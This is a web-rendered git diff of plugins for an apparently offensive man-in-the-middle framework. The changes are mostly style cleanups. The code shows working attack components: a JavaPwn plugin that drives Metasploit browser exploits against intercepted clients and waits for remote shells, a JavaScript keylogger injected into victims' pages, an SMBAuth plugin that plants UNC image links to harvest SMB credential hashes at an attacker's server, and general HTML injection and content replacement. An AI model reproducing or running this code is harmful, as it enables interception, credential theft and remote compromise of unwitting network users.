if self.js_src is not None:
|
||||||
return '<script type="text/javascript" src="%s"></script>'%(self.js_src)
|
return '<script type="text/javascript" src="%s"></script>' % (self.js_src)
|
||||||
return ''
|
return ''
|
||||||
|
|
||||||
def _insert_html(self,data,pre=[],post=[],re_flags=re.I):
|
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
|
||||||
'''
|
'''
|
||||||
To use this function, simply pass a list of tuples of the form:
|
To use this function, simply pass a list of tuples of the form:
|
||||||
|
|
||||||
|
@ -107,11 +113,13 @@ class Inject(CacheKill,Plugin):
|
||||||
The pre array will have the match in front of your injected code, the post
|
The pre array will have the match in front of your injected code, the post
|
||||||
will put the match behind it.
|
will put the match behind it.
|
||||||
'''
|
'''
|
||||||
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in pre]
|
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
|
||||||
post_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in post]
|
post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
|
||||||
|
|
||||||
|
for i, r in enumerate(pre_regexes):
|
||||||
|
data = re.sub(r, "\g<match>"+pre[i][1], data)
|
||||||
|
|
||||||
|
for i, r in enumerate(post_regexes):
|
||||||
|
data = re.sub(r, post[i][1]+"\g<match>", data)
|
||||||
|
|
||||||
for i,r in enumerate(pre_regexes):
|
|
||||||
data=re.sub(r,"\g<match>"+pre[i][1],data)
|
|
||||||
for i,r in enumerate(post_regexes):
|
|
||||||
data=re.sub(r,post[i][1]+"\g<match>",data)
|
|
||||||
return data
|
return data
|
||||||
|
|
|
@ -6,13 +6,17 @@ import string
|
||||||
import random
|
import random
|
||||||
import threading
|
import threading
|
||||||
import logging
|
import logging
|
||||||
import sys, os
|
import sys
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from configobj import ConfigObj
|
from configobj import ConfigObj
|
||||||
except:
|
except:
|
||||||
sys.exit('[-] configobj library not installed!')
|
sys.exit('[-] configobj library not installed!')
|
||||||
|
|
||||||
|
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||||
|
requests_log.setLevel(logging.WARNING)
|
||||||
|
|
||||||
|
|
||||||
class JavaPwn(BrowserProfiler, Plugin):
|
class JavaPwn(BrowserProfiler, Plugin):
|
||||||
name = "JavaPwn"
|
name = "JavaPwn"
|
||||||
optname = "javapwn"
|
optname = "javapwn"
|
||||||
|
@ -26,28 +30,24 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
self.msfport = options.msfport
|
self.msfport = options.msfport
|
||||||
self.rpcip = options.rpcip
|
self.rpcip = options.rpcip
|
||||||
self.rpcpass = options.rpcpass
|
self.rpcpass = options.rpcpass
|
||||||
self.javapwncfg = options.javapwncfg
|
self.javapwncfg = './config_files/javapwn.cfg' or options.javapwncfg
|
||||||
|
|
||||||
if not self.msfip:
|
if not self.msfip:
|
||||||
sys.exit('[-] JavaPwn plugin requires --msfip')
|
sys.exit('[-] JavaPwn plugin requires --msfip')
|
||||||
|
|
||||||
if not self.javapwncfg:
|
|
||||||
self.javapwncfg = './config_files/javapwn.cfg'
|
|
||||||
|
|
||||||
self.javacfg = ConfigObj(self.javapwncfg)
|
self.javacfg = ConfigObj(self.javapwncfg)
|
||||||
|
|
||||||
self.javaVersionDic = {}
|
self.javaVersionDic = {}
|
||||||
for key, value in self.javacfg.iteritems():
|
for key, value in self.javacfg.iteritems():
|
||||||
self.javaVersionDic[float(key)] = value
|
self.javaVersionDic[float(key)] = value
|
||||||
|
|
||||||
|
self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit
|
||||||
self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary
|
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
||||||
msf.login('msf', self.rpcpass)
|
msf.login('msf', self.rpcpass)
|
||||||
version = msf.call('core.version')['version']
|
version = msf.call('core.version')['version']
|
||||||
print "[*] Succesfully connected to Metasploit v%s" % version
|
print "[*] Successfully connected to Metasploit v%s" % version
|
||||||
except Exception:
|
except Exception:
|
||||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||||
|
|
||||||
|
@ -76,23 +76,22 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
exit = False
|
exit = False
|
||||||
i = 1
|
i = 1
|
||||||
while i <= 30: #wait max 60 seconds for a new shell
|
while i <= 30: #wait max 60 seconds for a new shell
|
||||||
if exit == True:
|
if exit:
|
||||||
break
|
break
|
||||||
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
|
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
|
||||||
if len(shell) > 0:
|
if len(shell) > 0:
|
||||||
for k,v in shell.items():
|
for k, v in shell.items():
|
||||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
||||||
logging.info("%s >> Got shell!" % client_ip)
|
logging.info("%s >> Got shell!" % client_ip)
|
||||||
self.sploited_ips.append(client_ip) #target successfuly exploited
|
self.sploited_ips.append(client_ip) #target successfuly exploited
|
||||||
exit = True
|
exit = True
|
||||||
break
|
break
|
||||||
sleep(2)
|
sleep(2)
|
||||||
i+=1
|
i += 1
|
||||||
|
|
||||||
if exit == False: #We didn't get a shell
|
if exit is False: #We didn't get a shell
|
||||||
logging.info("%s >> session not established after 30 seconds" % client_ip)
|
logging.info("%s >> session not established after 30 seconds" % client_ip)
|
||||||
|
|
||||||
|
|
||||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||||
|
|
||||||
def pwn(self, msfinstance):
|
def pwn(self, msfinstance):
|
||||||
|
@ -123,7 +122,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
||||||
jobs = msf.call('job.list') #get running jobs
|
jobs = msf.call('job.list') #get running jobs
|
||||||
if len(jobs) > 0:
|
if len(jobs) > 0:
|
||||||
for k,v in jobs.items():
|
for k, v in jobs.items():
|
||||||
info = msf.call('job.info', [k])
|
info = msf.call('job.info', [k])
|
||||||
if exploit in info['name']:
|
if exploit in info['name']:
|
||||||
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
|
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
|
||||||
|
@ -131,8 +130,8 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
self.injectWait(msf, url, vic_ip)
|
self.injectWait(msf, url, vic_ip)
|
||||||
|
|
||||||
else: #here we setup the exploit
|
else: #here we setup the exploit
|
||||||
rand_url = self.rand_url() # generate a random url
|
rand_url = self.rand_url() #generate a random url
|
||||||
rand_port = random.randint(1000, 65535) # generate a random port for the payload listener
|
rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
|
||||||
|
|
||||||
|
|
||||||
#generate the command string to send to the virtual console
|
#generate the command string to send to the virtual console
|
||||||
|
@ -175,7 +174,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
|
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
|
||||||
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
|
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
|
||||||
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
|
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
|
||||||
options.add_argument('--javapwncfg', type=file, help='Specify a config file')
|
options.add_argument('--javapwncfg', type=file, help='Specify a config file [default: javapwn.cfg]')
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
'''This will be called when shutting down'''
|
'''This will be called when shutting down'''
|
||||||
|
@ -185,7 +184,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
jobs = msf.call('job.list')
|
jobs = msf.call('job.list')
|
||||||
if len(jobs) > 0:
|
if len(jobs) > 0:
|
||||||
print '[*] Stopping all running metasploit jobs'
|
print '[*] Stopping all running metasploit jobs'
|
||||||
for k,v in jobs.items():
|
for k, v in jobs.items():
|
||||||
msf.call('job.stop', [k])
|
msf.call('job.stop', [k])
|
||||||
|
|
||||||
consoles = msf.call('console.list')['consoles']
|
consoles = msf.call('console.list')['consoles']
|
||||||
|
|
|
@ -2,14 +2,15 @@ from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
|
||||||
class jskeylogger(Inject, Plugin):
|
class jskeylogger(Inject, Plugin):
|
||||||
name = "Javascript Keylogger"
|
name = "Javascript Keylogger"
|
||||||
optname = "jskeylogger"
|
optname = "jskeylogger"
|
||||||
desc = "Injects a javascript keylogger into clients webpages"
|
desc = "Injects a javascript keylogger into clients webpages"
|
||||||
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"]
|
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.msf_keylogger()
|
self.html_payload = self.msf_keylogger()
|
||||||
print "[*] Javascript Keylogger plugin online"
|
print "[*] Javascript Keylogger plugin online"
|
||||||
|
|
|
@ -1,23 +1,28 @@
|
||||||
import os,subprocess,logging,time,re
|
#import os
|
||||||
import argparse
|
#import subprocess
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
import re
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.CacheKill import CacheKill
|
from plugins.CacheKill import CacheKill
|
||||||
|
|
||||||
class Replace(CacheKill,Plugin):
|
|
||||||
|
class Replace(CacheKill, Plugin):
|
||||||
name = "Replace"
|
name = "Replace"
|
||||||
optname = "replace"
|
optname = "replace"
|
||||||
implements = ["handleResponse","handleHeader","connectionMade"]
|
implements = ["handleResponse", "handleHeader", "connectionMade"]
|
||||||
has_opts = True
|
has_opts = True
|
||||||
desc = "Replace arbitrary content in HTML content"
|
desc = "Replace arbitrary content in HTML content"
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
||||||
self.search_str = options.search_str
|
self.search_str = options.search_str
|
||||||
self.replace_str = options.replace_str
|
self.replace_str = options.replace_str
|
||||||
self.regex_file = options.regex_file
|
self.regex_file = options.regex_file
|
||||||
|
|
||||||
if (self.search_str==None or self.search_str=="") and self.regex_file is None:
|
if (self.search_str is None or self.search_str == "") and self.regex_file is None:
|
||||||
sys.exit("[*] Please provide a search string or a regex file")
|
sys.exit("[*] Please provide a search string or a regex file")
|
||||||
|
|
||||||
self.regexes = []
|
self.regexes = []
|
||||||
|
@ -36,44 +41,43 @@ class Replace(CacheKill,Plugin):
|
||||||
|
|
||||||
print "[*] Replace plugin online"
|
print "[*] Replace plugin online"
|
||||||
|
|
||||||
def handleResponse(self,request,data):
|
def handleResponse(self, request, data):
|
||||||
ip,hn,mime = self._get_req_info(request)
|
ip, hn, mime = self._get_req_info(request)
|
||||||
|
|
||||||
if self._should_replace(ip,hn,mime):
|
if self._should_replace(ip, hn, mime):
|
||||||
|
|
||||||
if self.search_str!=None and self.search_str!="":
|
if self.search_str is not None and self.search_str != "":
|
||||||
data = data.replace(self.search_str, self.replace_str)
|
data = data.replace(self.search_str, self.replace_str)
|
||||||
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
|
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
|
||||||
|
|
||||||
|
|
||||||
# Did the user provide us with a regex file?
|
# Did the user provide us with a regex file?
|
||||||
for regex in self.regexes:
|
for regex in self.regexes:
|
||||||
try:
|
try:
|
||||||
data = re.sub(regex[0], regex[1], data)
|
data = re.sub(regex[0], regex[1], data)
|
||||||
|
|
||||||
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
||||||
except Exception, e:
|
except Exception:
|
||||||
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
||||||
|
|
||||||
self.ctable[ip] = time.time()
|
self.ctable[ip] = time.time()
|
||||||
self.dtable[ip+hn] = True
|
self.dtable[ip+hn] = True
|
||||||
|
|
||||||
return {'request':request,'data':data}
|
return {'request': request, 'data': data}
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
def add_options(self,options):
|
def add_options(self, options):
|
||||||
options.add_argument("--search-str",type=str,default=None,help="String you would like to replace --replace-str with. Default: '' (empty string)")
|
options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)")
|
||||||
options.add_argument("--replace-str",type=str,default="",help="String you would like to replace.")
|
options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.")
|
||||||
options.add_argument("--regex-file",type=file,help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
|
options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
|
||||||
options.add_argument("--keep-cache",action="store_true",help="Don't kill the server/client caching.")
|
options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.")
|
||||||
|
|
||||||
def _should_replace(self,ip,hn,mime):
|
def _should_replace(self, ip, hn, mime):
|
||||||
return mime.find(self.mime)!=-1
|
return mime.find(self.mime) != -1
|
||||||
|
|
||||||
def _get_req_info(self,request):
|
def _get_req_info(self, request):
|
||||||
ip = request.client.getClientIP()
|
ip = request.client.getClientIP()
|
||||||
hn = request.client.getRequestHostname()
|
hn = request.client.getRequestHostname()
|
||||||
mime = request.client.headers['Content-Type']
|
mime = request.client.headers['Content-Type']
|
||||||
|
|
||||||
return (ip,hn,mime)
|
return (ip, hn, mime)
|
||||||
|
|
|
@ -1,22 +1,22 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
|
|
||||||
class SMBAuth(Inject,Plugin):
|
|
||||||
|
class SMBAuth(Inject, Plugin):
|
||||||
name = "SMBAuth"
|
name = "SMBAuth"
|
||||||
optname = "smbauth"
|
optname = "smbauth"
|
||||||
desc = "Evoke SMB challenge-response auth attempts"
|
desc = "Evoke SMB challenge-response auth attempts"
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
Inject.initialize(self,options)
|
Inject.initialize(self, options)
|
||||||
self.target_ip = options.host
|
self.target_ip = options.host
|
||||||
self.html_payload = self._get_data()
|
self.html_payload = self._get_data()
|
||||||
print "[*] SMBAuth plugin online"
|
print "[*] SMBAuth plugin online"
|
||||||
|
|
||||||
def add_options(self,options):
|
def add_options(self, options):
|
||||||
options.add_argument("--host", type=str, help="The ip address of your capture server")
|
options.add_argument("--host", type=str, help="The ip address of your capture server")
|
||||||
|
|
||||||
def _get_data(self):
|
def _get_data(self):
|
||||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||||
'<img src=\"file://///%s\\image.jpg\">'\
|
'<img src=\"file://///%s\\image.jpg\">'\
|
||||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\
|
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)
|
||||||
% tuple([self.target_ip]*3)
|
|
||||||
|
|
|
@ -1,47 +1,49 @@
|
||||||
import logging
|
import logging
|
||||||
from cStringIO import StringIO
|
from cStringIO import StringIO
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
from PIL import Image
|
||||||
|
|
||||||
|
|
||||||
class Upsidedownternet(Plugin):
|
class Upsidedownternet(Plugin):
|
||||||
name = "Upsidedownternet"
|
name = "Upsidedownternet"
|
||||||
optname = "upsidedownternet"
|
optname = "upsidedownternet"
|
||||||
desc = 'Flips images 180 degrees'
|
desc = 'Flips images 180 degrees'
|
||||||
has_opts = False
|
has_opts = False
|
||||||
implements = ["handleResponse","handleHeader"]
|
implements = ["handleResponse", "handleHeader"]
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
from PIL import Image,ImageFile
|
from PIL import Image, ImageFile
|
||||||
globals()['Image'] = Image
|
globals()['Image'] = Image
|
||||||
globals()['ImageFile'] = ImageFile
|
globals()['ImageFile'] = ImageFile
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
||||||
def handleHeader(self,request,key,value):
|
def handleHeader(self, request, key, value):
|
||||||
'''Kill the image skipping that's in place for speed reasons'''
|
'''Kill the image skipping that's in place for speed reasons'''
|
||||||
if request.isImageRequest:
|
if request.isImageRequest:
|
||||||
request.isImageRequest = False
|
request.isImageRequest = False
|
||||||
request.isImage = True
|
request.isImage = True
|
||||||
request.imageType = value.split("/")[1].upper()
|
request.imageType = value.split("/")[1].upper()
|
||||||
|
|
||||||
def handleResponse(self,request,data):
|
def handleResponse(self, request, data):
|
||||||
try:
|
try:
|
||||||
isImage = getattr(request,'isImage')
|
isImage = getattr(request, 'isImage')
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
isImage = False
|
isImage = False
|
||||||
|
|
||||||
if isImage:
|
if isImage:
|
||||||
try:
|
try:
|
||||||
image_type=request.imageType
|
image_type = request.imageType
|
||||||
#For some reason more images get parsed using the parser
|
#For some reason more images get parsed using the parser
|
||||||
#rather than a file...PIL still needs some work I guess
|
#rather than a file...PIL still needs some work I guess
|
||||||
p = ImageFile.Parser()
|
p = Image.Parser()
|
||||||
p.feed(data)
|
p.feed(data)
|
||||||
im = p.close()
|
im = p.close()
|
||||||
im=im.transpose(Image.ROTATE_180)
|
im = im.transpose(Image.ROTATE_180)
|
||||||
output = StringIO()
|
output = StringIO()
|
||||||
im.save(output,format=image_type)
|
im.save(output, format=image_type)
|
||||||
data=output.getvalue()
|
data = output.getvalue()
|
||||||
output.close()
|
output.close()
|
||||||
logging.info("Flipped image")
|
logging.info("Flipped image")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print "Error: %s" % e
|
print "Error: %s" % e
|
||||||
return {'request':request,'data':data}
|
return {'request': request, 'data': data}
|
||||||
|
|
|
@ -3,16 +3,19 @@ The base plugin class. This shows the various methods that
|
||||||
can get called during the MITM attack.
|
can get called during the MITM attack.
|
||||||
'''
|
'''
|
||||||
|
|
||||||
|
|
||||||
class Plugin(object):
|
class Plugin(object):
|
||||||
name = "Generic plugin"
|
name = "Generic plugin"
|
||||||
optname = "generic"
|
optname = "generic"
|
||||||
desc = ""
|
desc = ""
|
||||||
implements = []
|
implements = []
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
'''Called on plugin instantiation. Probably don't need this'''
|
'''Called on plugin instantiation. Probably don't need this'''
|
||||||
pass
|
pass
|
||||||
def initialize(self,options):
|
|
||||||
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
||||||
|
@ -20,15 +23,15 @@ class Plugin(object):
|
||||||
'''Add your options to the options parser'''
|
'''Add your options to the options parser'''
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
def handleHeader(self,request,key,value):
|
def handleHeader(self, request, key, value):
|
||||||
'''Handles all response headers'''
|
'''Handles all response headers'''
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
def connectionMade(self,request):
|
def connectionMade(self, request):
|
||||||
'''Handles outgoing request'''
|
'''Handles outgoing request'''
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
def handleResponse(self,request,data):
|
def handleResponse(self, request, data):
|
||||||
'''
|
'''
|
||||||
Handles all non-image responses by default. See Upsidedownternet
|
Handles all non-image responses by default. See Upsidedownternet
|
||||||
for how to get images
|
for how to get images
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue